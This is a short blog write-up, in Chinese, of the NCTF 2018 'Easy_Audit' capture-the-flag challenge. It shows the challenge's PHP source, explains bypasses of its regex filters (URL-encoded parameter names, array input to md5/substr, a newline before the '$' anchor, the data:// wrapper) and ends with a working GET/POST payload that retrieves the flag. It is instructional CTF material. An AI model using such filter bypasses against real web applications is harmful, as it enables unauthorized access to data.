[NCTF 2018]Easy_Audit (php伪协议,正则绕过)

[NCTF 2018]Easy_Audit (php伪协议,正则绕过)

打开靶机:

<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
  foreach ($_REQUEST as $key => $value) {
    if(preg_match('/[a-zA-Z]/i', $value))  die('waf..');
  }
}

if($_SERVER){
  if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..');
}

if(isset($_GET['yulige'])){
  if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){     //日爆md5!!!!!!
    die('waf..');
  }else{
    if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
      $getflag = file_get_contents($_GET['flag']);
    }
    if(isset($getflag) && $getflag === 'ccc_liubi'){
      include 'flag.php';
      echo $flag;
    }else die('waf..');
  }
}

?>

$_REQUEST有个特性就是当GET和POST有相同的变量时,匹配POST的变量

$_SERVER[‘QUERY_STRING’]匹配的是原始数据,就是没有url编码过的数据,所以可以使用url编码绕过

substr()返回字符串的提取部分,如果失败则返回 FALSE,或者返回一个空字符串。

md5()处理数组时也会返回flase

file_get_contents()可以使用data://text/plain,xxxx来构造我们需要的字符

payload:

GET: ?%79%75%6C%69%67%65[]=1&%6E%63%74%66=%6E%63%74%66%69%73%66%75%6E%0a&%66%6C%61%67=data://text/plain,ccc_liubi
POST: yulige=1&nctf=2&flag=1
posted @ 2023-06-18 19:27  Magic水瓶  阅读(137)  评论(0)    收藏  举报